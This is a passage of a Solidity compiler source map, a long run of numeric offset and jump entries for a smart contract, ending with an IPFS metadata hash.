:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;4943:251::-;5013:6;5066:2;5054:9;5045:7;5041:23;5037:32;5034:52;;;5082:1;5079;5072:12;5034:52;5114:9;5108:16;5133:31;5158:5;5133:31;:::i;6472:306::-;6560:6;6568;6576;6629:2;6617:9;6608:7;6604:23;6600:32;6597:52;;;6645:1;6642;6635:12;6597:52;6674:9;6668:16;6658:26;;6724:2;6713:9;6709:18;6703:25;6693:35;;6768:2;6757:9;6753:18;6747:25;6737:35;;6472:306;;;;;:::o;7062:277::-;7129:6;7182:2;7170:9;7161:7;7157:23;7153:32;7150:52;;;7198:1;7195;7188:12;7150:52;7230:9;7224:16;7283:5;7276:13;7269:21;7262:5;7259:32;7249:60;;7305:1;7302;7295:12;9372:128;9439:9;;;9460:11;;;9457:37;;;9474:18;;:::i;9505:125::-;9570:9;;;9591:10;;;9588:36;;;9604:18;;:::i;10826:135::-;10865:3;10886:17;;;10883:43;;10906:18;;:::i;:::-;-1:-1:-1;10953:1:1;10942:13;;10826:135::o;11098:127::-;11159:10;11154:3;11150:20;11147:1;11140:31;11190:4;11187:1;11180:15;11214:4;11211:1;11204:15;11230:980;11492:4;11540:3;11529:9;11525:19;11571:6;11560:9;11553:25;11597:2;11635:6;11630:2;11619:9;11615:18;11608:34;11678:3;11673:2;11662:9;11658:18;11651:31;11702:6;11737;11731:13;11768:6;11760;11753:22;11806:3;11795:9;11791:19;11784:26;;11845:2;11837:6;11833:15;11819:29;;11866:1;11876:195;11890:6;11887:1;11884:13;11876:195;;;11955:13;;-1:-1:-1;;;;;11951:39:1;11939:52;;12046:15;;;;12011:12;;;;11987:1;11905:9;11876:195;;;-1:-1:-1;;;;;;;12127:32:1;;;;12122:2;12107:18;;12100:60;-1:-1:-1;;;12191:3:1;12176:19;12169:35;12088:3;11230:980;-1:-1:-1;;;11230:980:1:o;12215:217::-;12255:1;12281;12271:132;;12325:10;12320:3;12316:20;12313:1;12306:31;12360:4;12357:1;12350:15;12388:4;12385:1;12378:15;12271:132;-1:-1:-1;12417:9:1;;12215:217::o

ipfs://ba8fdac28fb3f4f495d85140a74bcadd6937eb8e4d1e1f7e17e23522dd5b46a5